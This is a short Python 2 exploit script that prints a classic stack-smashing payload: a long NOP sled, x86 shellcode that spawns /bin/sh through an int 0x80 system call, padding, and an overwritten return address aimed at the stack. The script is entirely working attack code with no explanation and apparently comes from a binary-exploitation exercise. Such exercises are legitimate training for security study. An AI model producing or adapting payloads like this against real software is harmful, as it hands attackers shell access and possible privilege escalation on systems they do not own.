#!/bin/python

# shellcode_file = open("shellcode", "r")
# shellcode = shellcode_file.read().decode('string_escape')

shellcode = "\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04\xcd\x80\xc0\xe8\x03\xcd\x80"

print "\x90" * 988 + shellcode + "a" * 5 + "\xb0\xd9\xff\xff"
